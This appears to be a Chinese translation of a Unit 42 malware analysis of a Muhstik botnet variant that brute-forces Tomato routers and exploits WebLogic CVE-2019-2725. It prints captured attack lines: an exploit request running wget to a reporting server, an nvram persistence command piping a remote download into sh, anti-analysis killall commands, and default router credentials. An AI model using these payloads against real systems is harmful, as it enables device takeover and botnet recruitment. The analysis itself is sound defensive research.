Muhstik僵尸网络分析
2020-02-19 12:15:00 Author: www.4hou.com(查看原文) 阅读量:145 收藏

2019年12月5日,Unit 42研究人员发现一个新的Muhstik僵尸网络变种,其中加入了扫描器来攻击Tomato路由器设备。

Tomato是一个开源的路由器固件,由于其灵活性、QoS等能力,Tomato固件被多个路由器厂商和终端用户使用。研究人员在Shodan搜索发现有超过4600台Tomato路由器暴露在互联网上。

Muhstik僵尸网络从2018年3月开始活跃,具有蠕虫般的自我传播能力,可以感染Linux服务器和IoT设备。Muhstik使用多个漏洞利用来感染Linux服务,如Weblogic, WordPress和Drupal。该僵尸网络还会感染IoT路由器,如GPON家用路由器和DD-WRT路由器。该变种会感染Tomato路由器来扩大僵尸网络的范围。

目前还没有发现Muhstik僵尸网络入侵有漏洞的路由器后的恶意活动,但就对Muhstik僵尸网络的了解来看,Muhstik主要发起加密货币挖矿活动和DDOS攻击来获利。

新的Tomato路由器扫描器

新的Muhstik变种在TCP 8080端口扫描了Tomato路由器,并可以使用默认凭证暴力破解来绕过admin web认证。在Tomato路由器中,默认凭证是“admin:admin” 和 “root:admin”。研究人员抓包得到的Tomato路由器web认证暴力破解流量如图1所示:

 图 1. Tomato路由器web认证暴力破解

研究人员在Shodan上搜索了Tomato路由器的指纹来估计受感染的主机量,如图2所示,在互联网上有大约4600台潜在的受害者主机,其中包含TomatoUSB设备的数量。

 图 2. 互联网上暴露的Tomato和TomatoUSB路由器

其他扫描器

Scan #1: WordPress

第一个模块是一个识别服务器上安装的WordPress的扫描器。为了执行扫描,会在tcp 80或8080端口发送一个GET请求,这两个端口都是常用的HTTP端口。

图 3. Daymon使用的WordPress扫描器

Scan #2: Webuzo

第二个模块是一个识别服务器上是否安装了Webuzo。为完成扫描,会向2004端口发送一个GET请求,这是Webuzo管理的默认窗口。请求会使用路径/install.php,这是Webuzo安装文件,运行Webuzo的服务器默认会成功响应该请求。

GET /install.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Host: 132.223.202.213

Scan #3: CVE-2019-2725 – WebLogic v10.3.6.0 -12.1.3.0

第3个模块滥用了Oracle WebLogic服务器中的一个反序列化漏洞,该漏洞会引发远程代码执行。攻击者可以在无需认证的情况下远程利用该漏洞。该漏洞利用会被发送到

WebLogic的默认端口 7001。

POST /_async/AsyncResponseService HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Host: 194.187.209.4
Content-Type: text/xml
content-length: 916
 xxxx    /bin/bash   -c   wget
http://165.227.78.159/wl.php

研究人员认为该URL hxxp://165.227.78[.]159/wl.php是用来报告的。因为IP 地址165.227.78[.]159之前就被报告过是Mushtik僵尸网络的报告服务器,用来收集僵尸主机的信息。

Muhstik僵尸网络基础设施

图 3是Muhstik表中的执行流。图4是融合了扫描运行了WordPress和Webuzo的Linux服务器的Muhstik僵尸网络变种。此外,它实现了入侵运行Tomato固件的WebLogic服务器和WiFi路由器。

图 4. Muhstik基础设施

图 5. 详细的扫描和漏洞利用行为

Muhstik变种payload

研究人员分析发现了一个名为tty0的恶意二进制文件。因为tty0的目标是Tomato路由器,其中包含可以在这些系统中执行的bash命令:

第一个命令是用来从http://y.fd6fq54s6df541q23sdxfg[.]eu/nvr下载名为nvr的二进制文件的。

/bin/sh -c nvram set rc_firewall="sleep 120 && wget -qO -
http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh" > /dev/null 2>&1
 
/bin/sh -c nvram commit > /dev/null 2>&1

恶意软件还用kill掉系统中的strace和tcpdump这样的反分析技术。

/usr/bin/killall -9 strace
/bin/sh -c killall -9 tcpdump > /dev/null 2>&1 &
/bin/sh -c killall -9 strace > /dev/null 2>&1 &
/usr/bin/killall -9 tcpdump

二进制文件nvr中还还有下载其他二进制文件的命令。这4个二进制文件都是IRC僵尸网络的变种,分别运行在ARM和MIPS架构上。研究人员对其中的二进制文件Pty5进行了分析,因为该文件释放了一个名为daymon的二进制文件,是一个含有攻击Tomato路由器的新模块的扫描器。

IRC C2

设备被黑后,就会发送一个connect命令到IRC服务器。Connect命令中含有设备的昵称(nickname)来加入到信道中。昵称中含有之前获取的受干扰设备的节点主机名,如图5所示。

 图 6. Hostname

图 6中,新增了连接命令的用户名。

USER muhstik localhost localhost :muhstik-11052018

服务器会响应一个含有BotnetID的PING命令。受感染的设备会回复一个含有BotnetID的PONG。一旦昵称构造好,并分配给受感染的客户端后,IRC服务器就会接受主机作为信道中的客户端。然后,服务器会发送一个MOTD (Message of the Day)给客户端。最后,受害者设备就会发送一个命令到加入名为ea的信道,其中命令会被发送给加入僵尸网络的客户端。僵尸主机会获取受干扰设备的信息来注册设备到僵尸网络中。

图 7. 加入IRC信道

总结

新的Muhstik僵尸网络变种证明了IoT僵尸网络的规模在不断扩大,并不断增加了新的扫描器和漏洞利用以收获新的IoT设备。僵尸网络的开发者也在不断地入侵安装了开源固件的物联网设备,因为这种开源的固件一般都缺乏及时的安全更新和维护补丁。

本文翻译自:https://unit42.paloaltonetworks.com/muhstik-botnet-attacks-tomato-routers-to-harvest-new-iot-devices/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/jOmB
如有侵权请联系:admin#unsafe.sh